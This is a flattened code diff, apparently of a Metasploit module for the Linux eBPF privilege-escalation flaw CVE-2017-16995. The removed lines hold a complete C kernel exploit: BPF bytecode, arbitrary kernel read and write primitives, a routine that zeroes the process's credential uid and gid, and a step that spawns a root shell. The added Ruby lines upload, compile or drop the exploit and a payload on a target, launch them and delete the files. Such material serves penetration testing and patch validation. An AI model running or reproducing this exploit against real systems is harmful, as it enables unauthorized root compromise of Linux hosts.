"\x7b\x32\x00\x00\x00\x00\x00\x00" - "\x95\x00\x00\x00\x00\x00\x00\x00" - "\x55\x06\x02\x00\x01\x00\x00\x00" - "\x7b\xa2\x00\x00\x00\x00\x00\x00" - "\x95\x00\x00\x00\x00\x00\x00\x00" - "\x7b\x87\x00\x00\x00\x00\x00\x00" - "\x95\x00\x00\x00\x00\x00\x00\x00"; - - char bpf_log_buf[LOG_BUF_SIZE]; - - static int bpf_prog_load(enum bpf_prog_type prog_type, - const struct bpf_insn *insns, int prog_len, - const char *license, int kern_version) { - union bpf_attr attr = { - .prog_type = prog_type, - .insns = (__u64)insns, - .insn_cnt = prog_len / sizeof(struct bpf_insn), - .license = (__u64)license, - .log_buf = (__u64)bpf_log_buf, - .log_size = LOG_BUF_SIZE, - .log_level = 1, - }; - - attr.kern_version = kern_version; - - bpf_log_buf[0] = 0; - - return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); - } - - static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, - int max_entries) { - union bpf_attr attr = { - .map_type = map_type, - .key_size = key_size, - .value_size = value_size, - .max_entries = max_entries - }; - - return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); - } - - static int bpf_update_elem(uint64_t key, uint64_t value) { - union bpf_attr attr = { - .map_fd = mapfd, - .key = (__u64)&key, - .value = (__u64)&value, - .flags = 0, - }; - - return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); - } - - static int bpf_lookup_elem(void *key, void *value) { - union bpf_attr attr = { - .map_fd = mapfd, - .key = (__u64)key, - .value = (__u64)value, - }; - - return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); - } - - static void __exit(char *err) { - fprintf(stderr, "error: %s\n", err); - exit(-1); - } - - static void prep(void) { - mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3); - - if (mapfd < 0) - __exit(strerror(errno)); - - progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, - (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0); - - if (progfd < 0) - __exit(strerror(errno)); - - if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) - __exit(strerror(errno)); - - if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) - __exit(strerror(errno)); - } - - static void writemsg(void) { - char buffer[64]; - - ssize_t n = write(sockets[0], buffer, sizeof(buffer)); - - if (n < 0) { - perror("write"); - return; - } - if (n != sizeof(buffer)) - fprintf(stderr, "short write: %lu\n", n); - } - - #define __update_elem(a, b, c) \ - bpf_update_elem(0, (a)); \ - bpf_update_elem(1, (b)); \ - bpf_update_elem(2, (c)); \ - writemsg(); - - static uint64_t get_value(int key) { - uint64_t value; - - if (bpf_lookup_elem(&key, &value)) - __exit(strerror(errno)); - - return value; - } - - static uint64_t __get_fp(void) { - __update_elem(1, 0, 0); - - return get_value(2); - } - - static uint64_t __read(uint64_t addr) { - __update_elem(0, addr, 0); - - return get_value(2); - } - - static void __write(uint64_t addr, uint64_t val) { - __update_elem(2, addr, val); - } - - static uint64_t get_sp(uint64_t addr) { - return addr & ~(0x4000 - 1); - } - - static void pwn(void) { - uint64_t fp, sp, task_struct, credptr, uidptr; - - fp = __get_fp(); - if (fp < PHYS_OFFSET) - __exit("bogus fp"); - - sp = get_sp(fp); - if (sp < PHYS_OFFSET) - __exit("bogus sp"); - - task_struct = __read(sp); - - if (task_struct < PHYS_OFFSET) - __exit("bogus task ptr"); - - printf("task_struct = %lx\n", task_struct); - - credptr = __read(task_struct + CRED_OFFSET); // cred - - if (credptr < PHYS_OFFSET) - __exit("bogus cred ptr"); - - uidptr = credptr + UID_OFFSET; // uid - if (uidptr < PHYS_OFFSET) - __exit("bogus uid ptr"); - - printf("uidptr = %lx\n", uidptr); - __write(uidptr, 0); // set both uid and gid to 0 - - if (getuid() == 0) { - printf("spawning root shell\n"); - system("/bin/bash"); - exit(0); - } - - __exit("not vulnerable?"); - } - - int main(int argc, char **argv) { - prep(); - pwn(); - - return 0; - } - - } - - exploit_name = ".#{rand_text_alphanumeric 8..12}" - exploit_path = "#{base_dir}/#{exploit_name}" - - # exploit name must be 7 characters to allow string replacement - # in the pre-compiled binary - payload_name = ".#{rand_text_alphanumeric 7}" - payload_path = "#{base_dir}/#{payload_name}" - - if compile + # Upload exploit executable + executable_name = ".#{rand_text_alphanumeric rand(5..10)}" + executable_path = "#{base_dir}/#{executable_name}" + if live_compile? vprint_status 'Live compiling exploit on system...' - c_code.gsub!(%r{/bin/bash}, payload_path) - upload "#{exploit_path}.c", c_code - output = cmd_exec "gcc -o #{exploit_path} #{exploit_path}.c" - - unless output.blank? - print_error output - fail_with Failure::Unknown, "#{exploit_path}.c failed to compile" - end - - cmd_exec "chmod +x #{exploit_path}" + upload_and_compile executable_path, exploit_data('exploit.c') else vprint_status 'Dropping pre-compiled exploit on system...' - compiled_path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', 'exploit.out' - fd = ::File.open compiled_path, 'rb' - exploit_data = fd.read fd.stat.size - fd.close - - exploit_data.gsub!(%r{/tmp/JDQDHtEG}, payload_path) - upload_and_chmodx exploit_path, exploit_data + upload_and_chmodx executable_path, exploit_data('exploit.out') end + # Upload payload executable + payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" upload_and_chmodx payload_path, generate_payload_exe - print_status 'Launching exploit...' - output = cmd_exec exploit_path + # Launch exploit + print_status 'Launching exploit ...' + output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path} " output.each_line { |line| vprint_status line.chomp } + print_status "Cleaning up #{payload_path} and #{executable_path} ..." + rm_f executable_path + rm_f payload_path end end